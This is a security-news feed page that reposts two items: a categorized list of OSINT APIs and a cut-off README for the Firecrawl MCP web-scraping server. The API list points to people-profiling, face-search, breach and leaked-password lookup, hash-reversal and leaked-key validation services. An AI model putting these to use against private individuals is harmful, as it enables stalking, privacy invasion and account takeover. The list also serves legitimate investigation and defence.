FreshRSS

πŸ”’
❌ Secure Planet Training Courses Updated For 2019 - Click Here
There are new available articles, click to refresh the page.
Yesterday β€” May 7th 2025KitPloit - PenTest Tools!

API-s-for-OSINT - List Of API's For Gathering Information About Phone Numbers, Addresses, Domains Etc

By: Unknown

APIs For OSINT

Β This is a Collection of APIs that will be useful for automating various tasks in OSINT.

Thank you for following me! https://cybdetective.com


    IOT/IP Search engines

    Name Link Description Price
    Shodan https://developer.shodan.io Search engine for Internet connected host and devices from $59/month
    Netlas.io https://netlas-api.readthedocs.io/en/latest/ Search engine for Internet connected host and devices. Read more at Netlas CookBook Partly FREE
    Fofa.so https://fofa.so/static_pages/api_help Search engine for Internet connected host and devices ???
    Censys.io https://censys.io/api Search engine for Internet connected host and devices Partly FREE
    Hunter.how https://hunter.how/search-api Search engine for Internet connected host and devices Partly FREE
    Fullhunt.io https://api-docs.fullhunt.io/#introduction Search engine for Internet connected host and devices Partly FREE
    IPQuery.io https://ipquery.io API for ip information such as ip risk, geolocation data, and asn details FREE

    Universal OSINT APIs

    Name Link Description Price
    Social Links https://sociallinks.io/products/sl-api Email info lookup, phone info lookup, individual and company profiling, social media tracking, dark web monitoring and more. Code example of using this API for face search in this repo PAID. Price per request

    Phone Number Lookup and Verification

    Name Link Description Price
    Numverify https://numverify.com Global Phone Number Validation & Lookup JSON API. Supports 232 countries. 250 requests FREE
    Twillo https://www.twilio.com/docs/lookup/api Provides a way to retrieve additional information about a phone number Free or $0.01 per request (for caller lookup)
    Plivo https://www.plivo.com/lookup/ Determine carrier, number type, format, and country for any phone number worldwide from $0.04 per request
    GetContact https://github.com/kovinevmv/getcontact Find info about user by phone number from $6,89 in months/100 requests
    Veriphone https://veriphone.io/ Phone number validation & carrier lookup 1000 requests/month FREE

    Address/ZIP codes lookup

    Name Link Description Price
    Global Address https://rapidapi.com/adminMelissa/api/global-address/ Easily verify, check or lookup address FREE
    US Street Address https://smartystreets.com/docs/cloud/us-street-api Validate and append data for any US postal address FREE
    Google Maps Geocoding API https://developers.google.com/maps/documentation/geocoding/overview convert addresses (like "1600 Amphitheatre Parkway, Mountain View, CA") into geographic coordinates 0.005 USD per request
    Postcoder https://postcoder.com/address-lookup Find adress by postcode Β£130/5000 requests
    Zipcodebase https://zipcodebase.com Lookup postal codes, calculate distances and much more 5000 requests FREE
    Openweathermap geocoding API https://openweathermap.org/api/geocoding-api get geographical coordinates (lat, lon) by using name of the location (city name or area name) 60 calls/minute 1,000,000 calls/month
    DistanceMatrix https://distancematrix.ai/product Calculate, evaluate and plan your routes $1.25-$2 per 1000 elements
    Geotagging API https://geotagging.ai/ Predict geolocations by texts Freemium

    People and documents verification

    Name Link Description Price
    Approuve.com https://appruve.co Allows you to verify the identities of individuals, businesses, and connect to financial account data across Africa Paid
    Onfido.com https://onfido.com Onfido Document Verification lets your users scan a photo ID from any device, before checking it's genuine. Combined with Biometric Verification, it's a seamless way to anchor an account to the real identity of a customer. India Paid
    Superpass.io https://surepass.io/passport-id-verification-api/ Passport, Photo ID and Driver License Verification in India Paid

    Business/Entity search

    Name Link Description Price
    Open corporates https://api.opencorporates.com Companies information Paid, price upon request
    Linkedin company search API https://docs.microsoft.com/en-us/linkedin/marketing/integrations/community-management/organizations/company-search?context=linkedin%2Fcompliance%2Fcontext&tabs=http Find companies using keywords, industry, location, and other criteria FREE
    Mattermark https://rapidapi.com/raygorodskij/api/Mattermark/ Get companies and investor information free 14-day trial, from $49 per month

    Domain/DNS/IP lookup

    Name Link Description Price
    API OSINT DS https://github.com/davidonzo/apiosintDS Collect info about IPv4/FQDN/URLs and file hashes in md5, sha1 or sha256 FREE
    InfoDB API https://www.ipinfodb.com/api The API returns the location of an IP address (country, region, city, zipcode, latitude, longitude) and the associated timezone in XML, JSON or plain text format FREE
    Domainsdb.info https://domainsdb.info Registered Domain Names Search FREE
    BGPView https://bgpview.docs.apiary.io/# allowing consumers to view all sort of analytics data about the current state and structure of the internet FREE
    DNSCheck https://www.dnscheck.co/api monitor the status of both individual DNS records and groups of related DNS records up to 10 DNS records/FREE
    Cloudflare Trace https://github.com/fawazahmed0/cloudflare-trace-api Get IP Address, Timestamp, User Agent, Country Code, IATA, HTTP Version, TLS/SSL Version & More FREE
    Host.io https://host.io/ Get info about domain FREE

    Mobile Apps Endpoints

    Name Link Description Price
    BeVigil OSINT API https://bevigil.com/osint-api provides access to millions of asset footprint data points including domain intel, cloud services, API information, and third party assets extracted from millions of mobile apps being continuously uploaded and scanned by users on bevigil.com 50 credits free/1000 credits/$50

    Scraping

    Name Link Description Price
    WebScraping.AI https://webscraping.ai/ Web Scraping API with built-in proxies and JS rendering FREE
    ZenRows https://www.zenrows.com/ Web Scraping API that bypasses anti-bot solutions while offering JS rendering, and rotating proxies apiKey Yes Unknown FREE

    Whois

    Name Link Description Price
    Whois freaks https://whoisfreaks.com/ well-parsed and structured domain WHOIS data for all domain names, registrars, countries and TLDs since the birth of internet $19/5000 requests
    WhoisXMLApi https://whois.whoisxmlapi.com gathers a variety of domain ownership and registration data points from a comprehensive WHOIS database 500 requests in month/FREE
    IPtoWhois https://www.ip2whois.com/developers-api Get detailed info about a domain 500 requests/month FREE

    GEO IP

    Name Link Description Price
    Ipstack https://ipstack.com Detect country, region, city and zip code FREE
    Ipgeolocation.io https://ipgeolocation.io provides country, city, state, province, local currency, latitude and longitude, company detail, ISP lookup, language, zip code, country calling code, time zone, current time, sunset and sunrise time, moonset and moonrise 30 000 requests per month/FREE
    IPInfoDB https://ipinfodb.com/api Free Geolocation tools and APIs for country, region, city and time zone lookup by IP address FREE
    IP API https://ip-api.com/ Free domain/IP geolocation info FREE

    Wi-fi lookup

    Name Link Description Price
    Mylnikov API https://www.mylnikov.org public API implementation of Wi-Fi Geo-Location database FREE
    Wigle https://api.wigle.net/ get location and other information by SSID FREE

    Network

    Name Link Description Price
    PeetingDB https://www.peeringdb.com/apidocs/ Database of networks, and the go-to location for interconnection data FREE
    PacketTotal https://packettotal.com/api.html .pcap files analyze FREE

    Finance

    Name Link Description Price
    Binlist.net https://binlist.net/ get information about bank by BIN FREE
    FDIC Bank Data API https://banks.data.fdic.gov/docs/ institutions, locations and history events FREE
    Amdoren https://www.amdoren.com/currency-api/ Free currency API with over 150 currencies FREE
    VATComply.com https://www.vatcomply.com/documentation Exchange rates, geolocation and VAT number validation FREE
    Alpaca https://alpaca.markets/docs/api-documentation/api-v2/market-data/alpaca-data-api-v2/ Realtime and historical market data on all US equities and ETFs FREE
    Swiftcodesapi https://swiftcodesapi.com Verifying the validity of a bank SWIFT code or IBAN account number $39 per month/4000 swift lookups
    IBANAPI https://ibanapi.com Validate IBAN number and get bank account information from it Freemium/10$ Starter plan

    Email

    Name Link Description Price
    EVA https://eva.pingutil.com/ Measuring email deliverability & quality FREE
    Mailboxlayer https://mailboxlayer.com/ Simple REST API measuring email deliverability & quality 100 requests FREE, 5000 requests in month β€” $14.49
    EmailCrawlr https://emailcrawlr.com/ Get key information about company websites. Find all email addresses associated with a domain. Get social accounts associated with an email. Verify email address deliverability. 200 requests FREE, 5000 requets β€” $40
    Voila Norbert https://www.voilanorbert.com/api/ Find anyone's email address and ensure your emails reach real people from $49 in month
    Kickbox https://open.kickbox.com/ Email verification API FREE
    FachaAPI https://api.facha.dev/ Allows checking if an email domain is a temporary email domain FREE

    Names/Surnames

    Name Link Description Price
    Genderize.io https://genderize.io Instantly answers the question of how likely a certain name is to be male or female and shows the popularity of the name. 1000 names/day free
    Agify.io https://agify.io Predicts the age of a person given their name 1000 names/day free
    Nataonalize.io https://nationalize.io Predicts the nationality of a person given their name 1000 names/day free

    Pastebin/Leaks

    Name Link Description Price
    HaveIBeenPwned https://haveibeenpwned.com/API/v3 allows the list of pwned accounts (email addresses and usernames) $3.50 per month
    Psdmp.ws https://psbdmp.ws/api search in Pastebin $9.95 per 10000 requests
    LeakPeek https://psbdmp.ws/api searc in leaks databases $9.99 per 4 weeks unlimited access
    BreachDirectory.com https://breachdirectory.com/api_documentation search domain in data breaches databases FREE
    LeekLookup https://leak-lookup.com/api search domain, email_address, fullname, ip address, phone, password, username in leaks databases 10 requests FREE
    BreachDirectory.org https://rapidapi.com/rohan-patra/api/breachdirectory/pricing search domain, email_address, fullname, ip address, phone, password, username in leaks databases (possible to view password hashes) 50 requests in month/FREE

    Archives

    Name Link Description Price
    Wayback Machine API (Memento API, CDX Server API, Wayback Availability JSON API) https://archive.org/help/wayback_api.php Retrieve information about Wayback capture data FREE
    TROVE (Australian Web Archive) API https://trove.nla.gov.au/about/create-something/using-api Retrieve information about TROVE capture data FREE
    Archive-it API https://support.archive-it.org/hc/en-us/articles/115001790023-Access-Archive-It-s-Wayback-index-with-the-CDX-C-API Retrieve information about archive-it capture data FREE
    UK Web Archive API https://ukwa-manage.readthedocs.io/en/latest/#api-reference Retrieve information about UK Web Archive capture data FREE
    Arquivo.pt API https://github.com/arquivo/pwa-technologies/wiki/Arquivo.pt-API Allows full-text search and access preserved web content and related metadata. It is also possible to search by URL, accessing all versions of preserved web content. API returns a JSON object. FREE
    Library Of Congress archive API https://www.loc.gov/apis/ Provides structured data about Library of Congress collections FREE
    BotsArchive https://botsarchive.com/docs.html JSON formatted details about Telegram Bots available in database FREE

    Hashes decrypt/encrypt

    Name Link Description Price
    MD5 Decrypt https://md5decrypt.net/en/Api/ Search for decrypted hashes in the database 1.99 EURO/day

    Crypto

    Name Link Description Price
    BTC.com https://btc.com/btc/adapter?type=api-doc get information about addresses and transanctions FREE
    Blockchair https://blockchair.com Explore data stored on 17 blockchains (BTC, ETH, Cardano, Ripple etc) $0.33 - $1 per 1000 calls
    Bitcointabyse https://www.bitcoinabuse.com/api-docs Lookup bitcoin addresses that have been linked to criminal activity FREE
    Bitcoinwhoswho https://www.bitcoinwhoswho.com/api Scam reports on the Bitcoin Address FREE
    Etherscan https://etherscan.io/apis Ethereum explorer API FREE
    apilayer coinlayer https://coinlayer.com Real-time Crypto Currency Exchange Rates FREE
    BlockFacts https://blockfacts.io/ Real-time crypto data from multiple exchanges via a single unified API, and much more FREE
    Brave NewCoin https://bravenewcoin.com/developers Real-time and historic crypto data from more than 200+ exchanges FREE
    WorldCoinIndex https://www.worldcoinindex.com/apiservice Cryptocurrencies Prices FREE
    WalletLabels https://www.walletlabels.xyz/docs Labels for 7,5 million Ethereum wallets FREE

    Malware

    Name Link Description Price
    VirusTotal https://developers.virustotal.com/reference files and urls analyze Public API is FREE
    AbuseLPDB https://docs.abuseipdb.com/#introduction IP/domain/URL reputation FREE
    AlienVault Open Threat Exchange (OTX) https://otx.alienvault.com/api IP/domain/URL reputation FREE
    Phisherman https://phisherman.gg IP/domain/URL reputation FREE
    URLScan.io https://urlscan.io/about-api/ Scan and Analyse URLs FREE
    Web of Thrust https://support.mywot.com/hc/en-us/sections/360004477734-API- IP/domain/URL reputation FREE
    Threat Jammer https://threatjammer.com/docs/introduction-threat-jammer-user-api IP/domain/URL reputation ???

    Face Search

    Name Link Description Price
    Search4faces https://search4faces.com/api.html Detect and locate human faces within an image, and returns high-precision face bounding boxes. Face⁺⁺ also allows you to store metadata of each detected face for future use. $21 per 1000 requests

    ## Face Detection

    Name Link Description Price
    Face++ https://www.faceplusplus.com/face-detection/ Search for people in social networks by facial image from 0.03 per call
    BetaFace https://www.betafaceapi.com/wpa/ Can scan uploaded image files or image URLs, find faces and analyze them. API also provides verification (faces comparison) and identification (faces search) services, as well able to maintain multiple user-defined recognition databases (namespaces) 50 image per day FREE/from 0.15 EUR per request

    ## Reverse Image Search

    Name Link Description Price
    Google Reverse images search API https://github.com/SOME-1HING/google-reverse-image-api/ This is a simple API built using Node.js and Express.js that allows you to perform Google Reverse Image Search by providing an image URL. FREE (UNOFFICIAL)
    TinEyeAPI https://services.tineye.com/TinEyeAPI Verify images, Moderate user-generated content, Track images and brands, Check copyright compliance, Deploy fraud detection solutions, Identify stock photos, Confirm the uniqueness of an image Start from $200/5000 searches
    Bing Images Search API https://www.microsoft.com/en-us/bing/apis/bing-image-search-api With Bing Image Search API v7, help users scour the web for images. Results include thumbnails, full image URLs, publishing website info, image metadata, and more. 1,000 requests free per month FREE
    MRISA https://github.com/vivithemage/mrisa MRISA (Meta Reverse Image Search API) is a RESTful API which takes an image URL, does a reverse Google image search, and returns a JSON array with the search results FREE? (no official)
    PicImageSearch https://github.com/kitUIN/PicImageSearch Aggregator for different Reverse Image Search API FREE? (no official)

    ## AI Geolocation

    Name Link Description Price
    Geospy https://api.geospy.ai/ Detecting estimation location of uploaded photo Access by request
    Picarta https://picarta.ai/api Detecting estimation location of uploaded photo 100 request/day FREE

    Social Media and Messengers

    Name Link Description Price
    Twitch https://dev.twitch.tv/docs/v5/reference
    YouTube Data API https://developers.google.com/youtube/v3
    Reddit https://www.reddit.com/dev/api/
    Vkontakte https://vk.com/dev/methods
    Twitter API https://developer.twitter.com/en
    Linkedin API https://docs.microsoft.com/en-us/linkedin/
    All Facebook and Instagram API https://developers.facebook.com/docs/
    Whatsapp Business API https://www.whatsapp.com/business/api
    Telegram and Telegram Bot API https://core.telegram.org
    Weibo API https://open.weibo.com/wiki/APIζ–‡ζ‘£/en
    XING https://dev.xing.com/partners/job_integration/api_docs
    Viber https://developers.viber.com/docs/api/rest-bot-api/
    Discord https://discord.com/developers/docs
    Odnoklassniki https://ok.ru/apiok
    Blogger https://developers.google.com/blogger/ The Blogger APIs allows client applications to view and update Blogger content FREE
    Disqus https://disqus.com/api/docs/auth/ Communicate with Disqus data FREE
    Foursquare https://developer.foursquare.com/ Interact with Foursquare users and places (geolocation-based checkins, photos, tips, events, etc) FREE
    HackerNews https://github.com/HackerNews/API Social news for CS and entrepreneurship FREE
    Kakao https://developers.kakao.com/ Kakao Login, Share on KakaoTalk, Social Plugins and more FREE
    Line https://developers.line.biz/ Line Login, Share on Line, Social Plugins and more FREE
    TikTok https://developers.tiktok.com/doc/login-kit-web Fetches user info and user's video posts on TikTok platform FREE
    Tumblr https://www.tumblr.com/docs/en/api/v2 Read and write Tumblr Data FREE

    UNOFFICIAL APIs

    !WARNING Use with caution! Accounts may be blocked permanently for using unofficial APIs.

    Name Link Description Price
    TikTok https://github.com/davidteather/TikTok-Api The Unofficial TikTok API Wrapper In Python FREE
    Google Trends https://github.com/suryasev/unofficial-google-trends-api Unofficial Google Trends API FREE
    YouTube Music https://github.com/sigma67/ytmusicapi Unofficial APi for YouTube Music FREE
    Duolingo https://github.com/KartikTalwar/Duolingo Duolingo unofficial API (can gather info about users) FREE
    Steam. https://github.com/smiley/steamapi An unofficial object-oriented Python library for accessing the Steam Web API. FREE
    Instagram https://github.com/ping/instagram_private_api Instagram Private API FREE
    Discord https://github.com/discordjs/discord.js JavaScript library for interacting with the Discord API FREE
    Zhihu https://github.com/syaning/zhihu-api FREE Unofficial API for Zhihu FREE
    Quora https://github.com/csu/quora-api Unofficial API for Quora FREE
    DnsDumbster https://github.com/PaulSec/API-dnsdumpster.com (Unofficial) Python API for DnsDumbster FREE
    PornHub https://github.com/sskender/pornhub-api Unofficial API for PornHub in Python FREE
    Skype https://github.com/ShyykoSerhiy/skyweb Unofficial Skype API for nodejs via 'Skype (HTTP)' protocol. FREE
    Google Search https://github.com/aviaryan/python-gsearch Google Search unofficial API for Python with no external dependencies FREE
    Airbnb https://github.com/nderkach/airbnb-python Python wrapper around the Airbnb API (unofficial) FREE
    Medium https://github.com/enginebai/PyMedium Unofficial Medium Python Flask API and SDK FREE
    Facebook https://github.com/davidyen1124/Facebot Powerful unofficial Facebook API FREE
    Linkedin https://github.com/tomquirk/linkedin-api Unofficial Linkedin API for Python FREE
    Y2mate https://github.com/Simatwa/y2mate-api Unofficial Y2mate API for Python FREE
    Livescore https://github.com/Simatwa/livescore-api Unofficial Livescore API for Python FREE

    Search Engines

    Name Link Description Price
    Google Custom Search JSON API https://developers.google.com/custom-search/v1/overview Search in Google 100 requests FREE
    Serpstack https://serpstack.com/ Google search results to JSON FREE
    Serpapi https://serpapi.com Google, Baidu, Yandex, Yahoo, DuckDuckGo, Bint and many others search results $50/5000 searches/month
    Bing Web Search API https://www.microsoft.com/en-us/bing/apis/bing-web-search-api Search in Bing (+instant answers and location) 1000 transactions per month FREE
    WolframAlpha API https://products.wolframalpha.com/api/pricing/ Short answers, conversations, calculators and many more from $25 per 1000 queries
    DuckDuckgo Instant Answers API https://duckduckgo.com/api An API for some of our Instant Answers, not for full search results. FREE

    | Memex Marginalia | https://memex.marginalia.nu/projects/edge/api.gmi | An API for new privacy search engine | FREE |

    News analyze

    Name Link Description Price
    MediaStack https://mediastack.com/ News articles search results in JSON 500 requests/month FREE

    Darknet

    Name Link Description Price
    Darksearch.io https://darksearch.io/apidoc search by websites in .onion zone FREE
    Onion Lookup https://onion.ail-project.org/ onion-lookup is a service for checking the existence of Tor hidden services and retrieving their associated metadata. onion-lookup relies on an private AIL instance to obtain the metadata FREE

    Torrents/file sharing

    Name Link Description Price
    Jackett https://github.com/Jackett/Jackett API for automate searching in different torrent trackers FREE
    Torrents API PY https://github.com/Jackett/Jackett Unofficial API for 1337x, Piratebay, Nyaasi, Torlock, Torrent Galaxy, Zooqle, Kickass, Bitsearch, MagnetDL,Libgen, YTS, Limetorrent, TorrentFunk, Glodls, Torre FREE
    Torrent Search API https://github.com/Jackett/Jackett API for Torrent Search Engine with Extratorrents, Piratebay, and ISOhunt 500 queries/day FREE
    Torrent search api https://github.com/JimmyLaurent/torrent-search-api Yet another node torrent scraper (supports iptorrents, torrentleech, torrent9, torrentz2, 1337x, thepiratebay, Yggtorrent, TorrentProject, Eztv, Yts, LimeTorrents) FREE
    Torrentinim https://github.com/sergiotapia/torrentinim Very low memory-footprint, self hosted API-only torrent search engine. Sonarr + Radarr Compatible, native support for Linux, Mac and Windows. FREE

    Vulnerabilities

    Name Link Description Price
    National Vulnerability Database CVE Search API https://nvd.nist.gov/developers/vulnerabilities Get basic information about CVE and CVE history FREE
    OpenCVE API https://docs.opencve.io/api/cve/ Get basic information about CVE FREE
    CVEDetails API https://www.cvedetails.com/documentation/apis Get basic information about CVE partly FREE (?)
    CVESearch API https://docs.cvesearch.com/ Get basic information about CVE by request
    KEVin API https://kevin.gtfkd.com/ API for accessing CISA's Known Exploited Vulnerabilities Catalog (KEV) and CVE Data FREE
    Vulners.com API https://vulners.com Get basic information about CVE FREE for personal use

    Flights

    Name Link Description Price
    Aviation Stack https://aviationstack.com get information about flights, aircrafts and airlines FREE
    OpenSky Network https://opensky-network.org/apidoc/index.html Free real-time ADS-B aviation data FREE
    AviationAPI https://docs.aviationapi.com/ FAA Aeronautical Charts and Publications, Airport Information, and Airport Weather FREE
    FachaAPI https://api.facha.dev Aircraft details and live positioning API FREE

    Webcams

    Name Link Description Price
    Windy Webcams API https://api.windy.com/webcams/docs Get a list of available webcams for a country, city or geographical coordinates FREE with limits or 9990 euro without limits

    ## Regex

    Name Link Description Price
    Autoregex https://autoregex.notion.site/AutoRegex-API-Documentation-97256bad2c114a6db0c5822860214d3a Convert English phrase to regular expression from $3.49/month

    API testing tools

    Name Link
    API Guessr (detect API by auth key or by token) https://api-guesser.netlify.app/
    REQBIN Online REST & SOAP API Testing Tool https://reqbin.com
    ExtendClass Online REST Client https://extendsclass.com/rest-client-online.html
    Codebeatify.org Online API Test https://codebeautify.org/api-test
    SyncWith Google Sheet add-on. Link more than 1000 APIs with Spreadsheet https://workspace.google.com/u/0/marketplace/app/syncwith_crypto_binance_coingecko_airbox/449644239211?hl=ru&pann=sheets_addon_widget
    Talend API Tester Google Chrome Extension https://workspace.google.com/u/0/marketplace/app/syncwith_crypto_binance_coingecko_airbox/449644239211?hl=ru&pann=sheets_addon_widget
    Michael Bazzel APIs search tools https://inteltechniques.com/tools/API.html

    Curl converters (tools that help to write code using API queries)

    Name Link
    Convert curl commands to Python, JavaScript, PHP, R, Go, C#, Ruby, Rust, Elixir, Java, MATLAB, Dart, CFML, Ansible URI or JSON https://curlconverter.com
    Curl-to-PHP. Instantly convert curl commands to PHP code https://incarnate.github.io/curl-to-php/
    Curl to PHP online (Codebeatify) https://codebeautify.org/curl-to-php-online
    Curl to JavaScript fetch https://kigiri.github.io/fetch/
    Curl to JavaScript fetch (Scrapingbee) https://www.scrapingbee.com/curl-converter/javascript-fetch/
    Curl to C# converter https://curl.olsh.me

    Create your own API

    Name Link
    Sheety. Create API frome GOOGLE SHEET https://sheety.co/
    Postman. Platform for creating your own API https://www.postman.com
    Reetoo. Rest API Generator https://retool.com/api-generator/
    Beeceptor. Rest API mocking and intercepting in seconds (no coding). https://beeceptor.com

    Distribute your own API

    Name Link
    RapidAPI. Market your API for millions of developers https://rapidapi.com/solution/api-provider/
    Apilayer. API Marketplace https://apilayer.com

    API Keys Info

    Name Link Description
    Keyhacks https://github.com/streaak/keyhacks Keyhacks is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid.
    All about APIKey https://github.com/daffainfo/all-about-apikey Detailed information about API key / OAuth token for different services (Description, Request, Response, Regex, Example)
    API Guessr https://api-guesser.netlify.app/ Enter API Key and and find out which service they belong to

    API directories

    If you don't find what you need, try searching these directories.

    Name Link Description
    APIDOG ApiHub https://apidog.com/apihub/
    Rapid APIs collection https://rapidapi.com/collections
    API Ninjas https://api-ninjas.com/api
    APIs Guru https://apis.guru/
    APIs List https://apislist.com/
    API Context Directory https://apicontext.com/api-directory/
    Any API https://any-api.com/
    Public APIs Github repo https://github.com/public-apis/public-apis

    How to learn how to work with REST API?

    If you don't know how to work with the REST API, I recommend you check out the Netlas API guide I wrote for Netlas.io.

    Netlas Cookbook

    There it is very brief and accessible to write how to automate requests in different programming languages (focus on Python and Bash) and process the resulting JSON data.

    Thank you for following me! https://cybdetective.com



    Before yesterdayKitPloit - PenTest Tools!

    Firecrawl-Mcp-Server - Official Firecrawl MCP Server - Adds Powerful Web Scraping To Cursor, Claude And Any Other LLM Clients

    By: Unknown


    A Model Context Protocol (MCP) server implementation that integrates with Firecrawl for web scraping capabilities.

    Big thanks to @vrknetha, @cawstudios for the initial implementation!

    You can also play around with our MCP Server on MCP.so's playground. Thanks to MCP.so for hosting and @gstarwd for integrating our server.

    Β 

    Features

    • Scrape, crawl, search, extract, deep research and batch scrape support
    • Web scraping with JS rendering
    • URL discovery and crawling
    • Web search with content extraction
    • Automatic retries with exponential backoff
    • Efficient batch processing with built-in rate limiting
    • Credit usage monitoring for cloud API
    • Comprehensive logging system
    • Support for cloud and self-hosted Firecrawl instances
    • Mobile/Desktop viewport support
    • Smart content filtering with tag inclusion/exclusion

    Installation

    Running with npx

    env FIRECRAWL_API_KEY=fc-YOUR_API_KEY npx -y firecrawl-mcp

    Manual Installation

    npm install -g firecrawl-mcp

    Running on Cursor

    Configuring Cursor πŸ–₯️ Note: Requires Cursor version 0.45.6+ For the most up-to-date configuration instructions, please refer to the official Cursor documentation on configuring MCP servers: Cursor MCP Server Configuration Guide

    To configure Firecrawl MCP in Cursor v0.45.6

    1. Open Cursor Settings
    2. Go to Features > MCP Servers
    3. Click "+ Add New MCP Server"
    4. Enter the following:
    5. Name: "firecrawl-mcp" (or your preferred name)
    6. Type: "command"
    7. Command: env FIRECRAWL_API_KEY=your-api-key npx -y firecrawl-mcp

    To configure Firecrawl MCP in Cursor v0.48.6

    1. Open Cursor Settings
    2. Go to Features > MCP Servers
    3. Click "+ Add new global MCP server"
    4. Enter the following code: json { "mcpServers": { "firecrawl-mcp": { "command": "npx", "args": ["-y", "firecrawl-mcp"], "env": { "FIRECRAWL_API_KEY": "YOUR-API-KEY" } } } }

    If you are using Windows and are running into issues, try cmd /c "set FIRECRAWL_API_KEY=your-api-key && npx -y firecrawl-mcp"

    Replace your-api-key with your Firecrawl API key. If you don't have one yet, you can create an account and get it from https://www.firecrawl.dev/app/api-keys

    After adding, refresh the MCP server list to see the new tools. The Composer Agent will automatically use Firecrawl MCP when appropriate, but you can explicitly request it by describing your web scraping needs. Access the Composer via Command+L (Mac), select "Agent" next to the submit button, and enter your query.

    Running on Windsurf

    Add this to your ./codeium/windsurf/model_config.json:

    {
    "mcpServers": {
    "mcp-server-firecrawl": {
    "command": "npx",
    "args": ["-y", "firecrawl-mcp"],
    "env": {
    "FIRECRAWL_API_KEY": "YOUR_API_KEY"
    }
    }
    }
    }

    Installing via Smithery (Legacy)

    To install Firecrawl for Claude Desktop automatically via Smithery:

    npx -y @smithery/cli install @mendableai/mcp-server-firecrawl --client claude

    Configuration

    Environment Variables

    Required for Cloud API

    • FIRECRAWL_API_KEY: Your Firecrawl API key
    • Required when using cloud API (default)
    • Optional when using self-hosted instance with FIRECRAWL_API_URL
    • FIRECRAWL_API_URL (Optional): Custom API endpoint for self-hosted instances
    • Example: https://firecrawl.your-domain.com
    • If not provided, the cloud API will be used (requires API key)

    Optional Configuration

    Retry Configuration
    • FIRECRAWL_RETRY_MAX_ATTEMPTS: Maximum number of retry attempts (default: 3)
    • FIRECRAWL_RETRY_INITIAL_DELAY: Initial delay in milliseconds before first retry (default: 1000)
    • FIRECRAWL_RETRY_MAX_DELAY: Maximum delay in milliseconds between retries (default: 10000)
    • FIRECRAWL_RETRY_BACKOFF_FACTOR: Exponential backoff multiplier (default: 2)
    Credit Usage Monitoring
    • FIRECRAWL_CREDIT_WARNING_THRESHOLD: Credit usage warning threshold (default: 1000)
    • FIRECRAWL_CREDIT_CRITICAL_THRESHOLD: Credit usage critical threshold (default: 100)

    Configuration Examples

    For cloud API usage with custom retry and credit monitoring:

    # Required for cloud API
    export FIRECRAWL_API_KEY=your-api-key

    # Optional retry configuration
    export FIRECRAWL_RETRY_MAX_ATTEMPTS=5 # Increase max retry attempts
    export FIRECRAWL_RETRY_INITIAL_DELAY=2000 # Start with 2s delay
    export FIRECRAWL_RETRY_MAX_DELAY=30000 # Maximum 30s delay
    export FIRECRAWL_RETRY_BACKOFF_FACTOR=3 # More aggressive backoff

    # Optional credit monitoring
    export FIRECRAWL_CREDIT_WARNING_THRESHOLD=2000 # Warning at 2000 credits
    export FIRECRAWL_CREDIT_CRITICAL_THRESHOLD=500 # Critical at 500 credits

    For self-hosted instance:

    # Required for self-hosted
    export FIRECRAWL_API_URL=https://firecrawl.your-domain.com

    # Optional authentication for self-hosted
    export FIRECRAWL_API_KEY=your-api-key # If your instance requires auth

    # Custom retry configuration
    export FIRECRAWL_RETRY_MAX_ATTEMPTS=10
    export FIRECRAWL_RETRY_INITIAL_DELAY=500 # Start with faster retries

    Usage with Claude Desktop

    Add this to your claude_desktop_config.json:

    {
    "mcpServers": {
    "mcp-server-firecrawl": {
    "command": "npx",
    "args": ["-y", "firecrawl-mcp"],
    "env": {
    "FIRECRAWL_API_KEY": "YOUR_API_KEY_HERE",

    "FIRECRAWL_RETRY_MAX_ATTEMPTS": "5",
    "FIRECRAWL_RETRY_INITIAL_DELAY": "2000",
    "FIRECRAWL_RETRY_MAX_DELAY": "30000",
    "FIRECRAWL_RETRY_BACKOFF_FACTOR": "3",

    "FIRECRAWL_CREDIT_WARNING_THRESHOLD": "2000",
    "FIRECRAWL_CREDIT_CRITICAL_THRESHOLD": "500"
    }
    }
    }
    }

    System Configuration

    The server includes several configurable parameters that can be set via environment variables. Here are the default values if not configured:

    const CONFIG = {
    retry: {
    maxAttempts: 3, // Number of retry attempts for rate-limited requests
    initialDelay: 1000, // Initial delay before first retry (in milliseconds)
    maxDelay: 10000, // Maximum delay between retries (in milliseconds)
    backoffFactor: 2, // Multiplier for exponential backoff
    },
    credit: {
    warningThreshold: 1000, // Warn when credit usage reaches this level
    criticalThreshold: 100, // Critical alert when credit usage reaches this level
    },
    };

    These configurations control:

    1. Retry Behavior

    2. Automatically retries failed requests due to rate limits

    3. Uses exponential backoff to avoid overwhelming the API
    4. Example: With default settings, retries will be attempted at:

      • 1st retry: 1 second delay
      • 2nd retry: 2 seconds delay
      • 3rd retry: 4 seconds delay (capped at maxDelay)
    5. Credit Usage Monitoring

    6. Tracks API credit consumption for cloud API usage
    7. Provides warnings at specified thresholds
    8. Helps prevent unexpected service interruption
    9. Example: With default settings:
      • Warning at 1000 credits remaining
      • Critical alert at 100 credits remaining

    Rate Limiting and Batch Processing

    The server utilizes Firecrawl's built-in rate limiting and batch processing capabilities:

    • Automatic rate limit handling with exponential backoff
    • Efficient parallel processing for batch operations
    • Smart request queuing and throttling
    • Automatic retries for transient errors

    Available Tools

    1. Scrape Tool (firecrawl_scrape)

    Scrape content from a single URL with advanced options.

    {
    "name": "firecrawl_scrape",
    "arguments": {
    "url": "https://example.com",
    "formats": ["markdown"],
    "onlyMainContent": true,
    "waitFor": 1000,
    "timeout": 30000,
    "mobile": false,
    "includeTags": ["article", "main"],
    "excludeTags": ["nav", "footer"],
    "skipTlsVerification": false
    }
    }

    2. Batch Scrape Tool (firecrawl_batch_scrape)

    Scrape multiple URLs efficiently with built-in rate limiting and parallel processing.

    {
    "name": "firecrawl_batch_scrape",
    "arguments": {
    "urls": ["https://example1.com", "https://example2.com"],
    "options": {
    "formats": ["markdown"],
    "onlyMainContent": true
    }
    }
    }

    Response includes operation ID for status checking:

    {
    "content": [
    {
    "type": "text",
    "text": "Batch operation queued with ID: batch_1. Use firecrawl_check_batch_status to check progress."
    }
    ],
    "isError": false
    }

    3. Check Batch Status (firecrawl_check_batch_status)

    Check the status of a batch operation.

    {
    "name": "firecrawl_check_batch_status",
    "arguments": {
    "id": "batch_1"
    }
    }

    4. Search Tool (firecrawl_search)

    Search the web and optionally extract content from search results.

    {
    "name": "firecrawl_search",
    "arguments": {
    "query": "your search query",
    "limit": 5,
    "lang": "en",
    "country": "us",
    "scrapeOptions": {
    "formats": ["markdown"],
    "onlyMainContent": true
    }
    }
    }

    5. Crawl Tool (firecrawl_crawl)

